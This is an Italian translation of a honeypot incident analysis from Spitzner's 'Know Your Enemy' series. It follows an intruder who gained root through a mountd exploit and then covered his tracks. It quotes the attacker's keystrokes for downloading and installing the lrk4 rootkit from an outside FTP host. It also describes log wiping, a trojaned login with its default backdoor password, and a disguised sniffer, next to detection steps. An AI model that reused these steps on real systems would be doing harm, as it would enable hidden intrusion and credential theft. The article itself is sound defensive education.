Ottenimento
dei diritti di root
Conosci Il Tuo
Nemico: III
Lance Spitzner
http://www.enteract.com/~lspitz/papers.html
Ultima Modifica: 27 March, 2000
Questo articolo è il terzo di una serie incentrata sullo script kiddie. Il primo articolo parla di come gli script kiddie testano, identificano, e sfruttano le vulnerabilità. Il secondo articolo parla di come è possibile scoprire questi tentativi, identificare quale strumento software usano e quali vulnerabilità cercano. Questo articolo , il terzo, parla di cosa avviene una volta che gli aggressori abbiano ottenuto i privilegi di root. In particolare, come coprono le loro tracce e cosa fanno in seguito. Potete scaricare i dati aggiornati usati per questo articolo qui.
Chi è lo script kiddie
Come avete potuto vedere nel primo articolo, lo script kiddie non è tanto una persona quanto una strategia, la strategia per esplorare in cerca di facili intrusioni. Non c'è ricerca di informazioni specifiche o di bersagliare una specifica compagnia, l'obiettivo è di ottenere root nel modo più facile possibile. Gli intrusi fanno ciò, concentrandosi su un piccolo numero di vulnerabilità, e quindi cercando su tutta la rete per tale vulnerabilità. Non sottovalutate questa strategia, presto o tardi troveranno qualcuno vulnerabile.
Una volta trovato un sistema vulnerabile ed aver ottenuto root, il loro primo passo è normalmente coprire le proprie tracce. Vogliono assicurarsi che voi non vi accorgiate che il sistema è stato compromesso, e che non possiate nè vedere nè registrare le loro azioni. Successivamente, spesso useranno il vostro sistema per esplorare altre reti o per controllarvi silenziosamente. Per raggiungere una migliore comprensione di come gli intrusi compiono questi atti, seguiremo i passi di un sistema compromesso da un intruso tramite la tattica dello script kiddie. Il nostro sistema, chiamato mozart, è una Linux box con Red Hat 5.1. Il sistema è stato compromesso il 27 Aprile del 1999. Di seguito sono mostrati i passi intrapresi dall'intruso, con log di sistema ed output di tastiera per verificare ogni passo. Tutti i log di sistema sono stati registrati su un server log protetto, tutto l'output di tastiera è stato catturato con sniffit. Per maggiori informazioni sulle modalità di cattura di queste informazioni, leggete "To Build a Honeypot". In questo articolo il nostro intruso viene chiamato EGLI, sebbene non abbiamo idea di che genere sia l'intruso.
L'Impresa
Il 27 Aprile , alle 00:13, la nostra rete è stata esaminata dal sistema 1Cust174.tnt2.long-branch.nj.da.uu.net per diverse vulnerabilità, incluso imap. Il nostro intruso arriva rumorosamente, ogni sistema della nostra rete viene testato (per maggiori informazioni su rilevazione e analisi delle esplorazioni, leggete il secondo articolo di questa serie).
Apr 27 00:12:25 mozart imapd[939]: connect from
208.252.226.174
Apr 27 00:12:27 bach imapd[1190]: connect from
208.252.226.174
Apr 27 00:12:30 vivaldi imapd[1225]: connect from
208.252.226.174
Apparentemente ha trovato qualcosa che gli piace e lo ritroviamo alle 06:52 ed alle 16:47 dello stesso giorno. Inizia una esplorazione più completa, ma stavolta concentrandosi solo su mozart. Identifica una debolezza e lancia un attacco riuscito contro mountd, una vulnerabilità conosciuta della Red Hat 5.1. Possiamo vedere in /var/log/messages l'intruso che riesce a prendere root. Lo strumento usato è molto probabilmente ADMmountd.c, o qualcosa di simile.
Apr 27 16:47:28 mozart mountd[306]: Unauthorized
access by NFS client 208.252.226.174.
Apr 27 16:47:28 mozart syslogd: Cannot glue message
parts together
Apr 27 16:47:28 mozart mountd[306]: Blocked attempt of
208.252.226.174 to mount
~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P
~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~
Immediatamente dopo, vediamo in /var/log/messages il nostro intruso ottenere root via telnet come utente crak0, e quindi facendo "su rewt". Entrambi questi account sono stati aggiunti dallo script di exploit. L'intruso ha ora il controllo totale del nostro sistema.
Apr 27 16:50:27 mozart login[1233]: FAILED LOGIN 2
FROM 1Cust102.tnt1.long-branch.nj.da.uu.net FOR crak, User not known to the
underlying authentication module
Apr 27 16:50:38 mozart PAM_pwdb[1233]: (login) session
opened for user crak0 by (uid=0)
Apr 27 16:50:38 mozart login[1233]: LOGIN ON ttyp0 BY crak0
FROM 1Cust102.tnt1.long-branch.nj.da.uu.net
Apr 27 16:50:47 mozart PAM_pwdb[1247]: (su) session
opened for user rewt by crak0(uid=0)
Copertura delle tracce
L'intruso è ora nel nostro sistema come utente root. Come vedremo ora, il suo prossimo passo sarà assicurarsi di non essere preso. Per prima cosa controlla se vi è qualcun altro sul sistema.
[crak0@mozart /tmp]$ w
4:48pm up 1 day, 18:27, 1
user, load average: 0.00, 0.00, 0.00
USER
TTY
FROM
LOGIN@ IDLE JCPU PCPU WHAT
crak0 ttyp0
1Cust102.tnt1.lo 4:48pm 0.00s 0.23s 0.04s w
Dopo essersi assicurato che la strada è libera, vorrà nascondere le proprie azioni. Questo normalmente richiede la rimozione di ogni occorrenza dai file di log e la sostituzione di eseguibili come ps o netstat con versioni modificate (cavalli di troia), in modo che voi non possiate vedere l'intruso sul vostro sistema. Una volta che i cavalli di troia sono a posto, l'intruso ha raggiunto il totale controllo del vostro sistema, e voi molto probabilmente potreste non saperlo mai. Come ci sono script automatici per entrare nel sistema, esistono strumenti automatici per nascondere le tracce dell'intrusione, spesso chiamati rootkits. Uno dei più comuni rootkit è lrk4. Eseguendo lo script, una serie di file critici vengono sostituiti, nascondendo l'intruso in pochi secondi. Per maggiori informazioni sui rootkits, vedete il README che trovate con lrk4. Questo vi darà una buona idea di come i rootkits lavorano in genere. Raccomando anche la lettura di hide-and-seek, un articolo sulla copertura delle tracce.
In pochi minuti dall'intrusione, è possibile vedere l'intruso scaricare il rootkit ed implementarlo con il comando "make install". Di seguito ciò che l'intruso digita per nascondersi.
cd /dev/
su rewt
mkdir ". "
cd ". "
ftp technotronic.com
anonymous
fdfsfdsdfssd@aol.com
cd /unix/trojans
get lrk4.unshad.tar.gz
quit
ls
tar -zxvf
lrk4.unshad.tar.gz
mv lrk4 proc
mv proc ". "
cd ". "
ls
make install
Notate che la prima cosa che fa l'intruso è creare una directory nascosta ". " per nascondere il suo programma. Questa directory non viene mostrata dal comando "ls" command, e sembra la directory locale con il commando "ls -la". Un modo per trovare questa directory è con il comando "find" (assicuratevi dell'integrità del vostro eseguibile "find").
mozart #find / -depth -name "*.*"
/var/lib/news/.news.daily
/var/spool/at/.SEQ
/dev/. /. /procps-1.01/proc/.depend
/dev/. /.
/dev/.
Il nostro intruso si è mostrato sofisticato nell'usare cavalli di troia, ma ha un approccio semplice alla modifica del file di log. Invece di usare strumenti di ripulitura come zap2 o clean, copia /dev/null sui file /var/run/utmp e /var/log/utmp, e cancella /var/log/wtmp. Voi potete accorgervi che c'è qualcosa che non va se questi file di log sono vuoti o vi danno il seguente errore:
[root@mozart sbin]# last -10
last: /var/log/wtmp: No such file or directory
Perhaps this file was removed by the operator to
prevent logging last info.
Il Passo Successivo
Una volta che il sistema è stato compromesso, l'intruso tende a fare una delle due cose seguenti. Può usare il vostro sistema come rampa di lancio per esplorare o entrare in altri sistemi. Oppure mantenere un profilo basso e vedere cosa possono imparare del vostro sistema, per esempio accessi ad altri sistemi. Il nostro intruso decide per la seconda opzione, stare tranquillo e vedere cosa può imparare. Mette uno sniffer sul nostro sistema in modo da catturare tutto il traffico di rete, incluse le sessioni di telnet e ftp ad altri sistemi. In questo modo acquisisce diversi login e password. Possiamo vedere in /var/log/messages il nostro sistema passare velocemente in modo promiscuo dopo la compromissione.
Apr 27 17:03:38 mozart kernel: eth0: Setting
promiscuous mode.
Apr 27 17:03:43 mozart kernel: eth0: Setting promiscuous
mode.
Dopo aver installato i cavalli di troia, ripulito I file di log e fatto partire lo sniffer, l'intruso si disconnette dal sistema Comunque tornerà il giorno successivo per vedere il traffico catturato.
Controllo Del Danno
La disconnessione del nostro amico mi dà la possibilità di controllare il sistema e vedere che cosa è successo esattamente. E' estremamente interessante vedere cosa ha alterato, e dove registra le informazioni dello sniffer. Per prima cosa con tripwire identifico velocemente i file modificati. Nota, assicuratevi di eseguire un tripwire valido. I eseguo una versione di tripwire linkata staticamente da un floppy protetto in lettura. Tripwire mostra quanto segue.
added:
-rw-r--r--
root 5 Apr 27
17:01:16 1999 /usr/sbin/sniff.pid
added:
-rw-r--r-- root 272 Apr
27 17:18:09 1999 /usr/sbin/tcp.log
changed: -rws--x--x
root 15588 Jun 1 05:49:22 1998
/bin/login
changed: drwxr-xr-x
root 20480 Apr 10 14:44:37 1999
/usr/bin
changed: -rwxr-xr-x
root 52984 Jun 10 04:49:22 1998
/usr/bin/find
changed: -r-sr-sr-x
root 126600 Apr 27 11:29:18 1998
/usr/bin/passwd
changed: -r-xr-xr-x
root 47604 Jun 3 16:31:57 1998
/usr/bin/top
changed: -r-xr-xr-x
root 9712 May 1 01:04:46
1998 /usr/bin/killall
changed: -rws--s--x
root 116352 Jun 1 20:25:47 1998
/usr/bin/chfn
changed: -rws--s--x
root 115828 Jun 1 20:25:47 1998
/usr/bin/chsh
changed: drwxr-xr-x root
4096 Apr 27 17:01:16 1999 /usr/sbin
changed: -rwxr-xr-x
root 137820 Jun 5 09:35:06 1998
/usr/sbin/inetd
changed: -rwxr-xr-x
root 7229 Nov 26 00:02:19 1998
/usr/sbin/rpc.nfsd
changed: -rwxr-xr-x
root 170460 Apr 24 00:02:19 1998
/usr/sbin/in.rshd
changed: -rwxr-x---
root 235516 Apr 4 22:11:56 1999
/usr/sbin/syslogd
changed: -rwxr-xr-x
root 14140 Jun 30 14:56:36 1998
/usr/sbin/tcpd
changed: drwxr-xr-x
root 2048 Apr 4 16:52:55
1999 /sbin
changed: -rwxr-xr-x
root 19840 Jul 9 17:56:10 1998
/sbin/ifconfig
changed: -rw-r--r--
root 649 Apr 27 16:59:54
1999 /etc/passwd
Come potete vedere, sono stati modificati diversi file eseguibili. Non ci sono aggiunte nel file /etc/passwd (saggiamente, ha rimosso gli account crak0 e rewt), quindi il nostro intruso deve avere una "porta di servizio" in uno dei programmi modificati. Inoltre sono stati aggiunti due file, /usr/sbin/sniff.pid e /usr/sbin/tcp.log. Ovviamente, /usr/sbin/sniff.pid è il pid dello sniffer, /usr/sbin/tcp.log è dove vengono archiviate le informazioni catturate dallo sniffer. Sulla base di /usr/sbin/sniff.pid, lo sniffer è risultato essere rpc.nfsd. L'intruso ha compilato uno sniffer, nel nostro caso linsniffer ed ha sostituito rpc.nfsd con esso. Questo assicura che se il sistema viene fatto ripartire, lo sniffer verrà rieseguito dal processo init. Il comando "strings" ci conferma che rpc.nfsd è in realtà lo sniffer:
mozart #strings /usr/sbin/rpc.nfsd | tail -15
cant get SOCK_PACKET socket
cant get flags
cant set promiscuous mode
----- [CAPLEN Exceeded]
----- [Timed Out]
----- [RST]
----- [FIN]
%s =>
%s [%d]
sniff.pid
eth0
tcp.log
cant open log
rm %s
Dopo aver esaminato il sistema ed aver capito cosa è successo, lascio di nuovo il sistema a se stesso. Sono curioso di vedere quale sarà la prossima mossa dell'intruso. Non voglio che sappia che l'ho rilevato per cui rimuovo tutte le mie tracce da /usr/sbin/tcp.log.
Lo Script Kiddie Ritorna
Il giorno seguente il nostro amico torna. Registrando i comandi, identifico velocemente la porta di servizio, /bin/login è un cavallo di troia. Questo eseguibile, usato per le connessioni telnet, è stato configurato per permettere i privilegi di root all'account "rewt" con la password "satori". La password "satori" è la passord di default per tutti gli eseguibili "cavalli di troia" usati dal rootkit lrk4, un indizio che il vostro sistema è stato compromesso.
L'intruso controlla lo sniffer per assicurarsi che sia ancora funzionante. Inoltre vuole controllare se è stato catturato qualche account dal giorno prima. Potete vedere quello che ha digitato in keystrokes.txt. Notate alla fine del log che il nostro intruso termina lo sniffer. Questa è l'ultima cosa che fa prima di chiudere la sessione. Comunque, torna dopo pochi minuti con un'altra sessione, solo per far ripartire lo sniffer. Non so proprio perchè abbia fatto questo..
Questo processo di controllo del sistema è continuato per diversi giorni. Ogni giorno l'intruso si connetteva la sistema per assicurarsi che lo sniffer fosse in esecuzione e controllare se aveva catturato qualcosa di significativo. Dopo il quarto giorno, ho deciso che era abbastanza e ho disconnesso il sistema. Ho imparato abbastanza dalle azioni dell'intruso e non c'era niente di nuovo da imparare.
Conclusione
Abbiamo visto in questo articolo come può agire un intruso, dall'inizio alla
fine, una volta che abbia ottenuto accesso di root al vostro sistema. Spesso
iniziano col vedere se c'è qualcuno sul sistema. Una volta sicuri che il
campo libero, coprono le loro tracce pulendo i file di log e sostituendo o
modificando file critici. Una volta al sicuro iniziano nuove e dannose
attività. Queste tattiche sono attuali, in quanto vengono costantemente
scoperte nuove vulnerabilità. Per meglio proteggervi contro queste minacce vi
raccomando di rendere sicuro il vostro sistema. Una sicurezza di base può
proteggere i vostri sistemi contro la maggior parte delle minacce da script kiddie, in quanto questi
normalmente cercano facili intrusioni. Per idee su come rendere sicuro il
vostro sistema leggete Proteggere
Linux o Proteggere
Solaris. Se è troppo tardi e credete che il vostro sistema sia stato
compromesso un buon posto per iniziare è "Recovering from an Incident"
presso il sito del CERT.
Biografia dell'Autore
Lance Spitzner si diverte ad imparare facendo saltare i suoi sistemi Unix a
casa. Prima di questo, era Ufficiale della Forza di
Intervento Rapido, dove faceva saltare cose di diversa natura. E'
raggiungibile a lance@spitzner.net .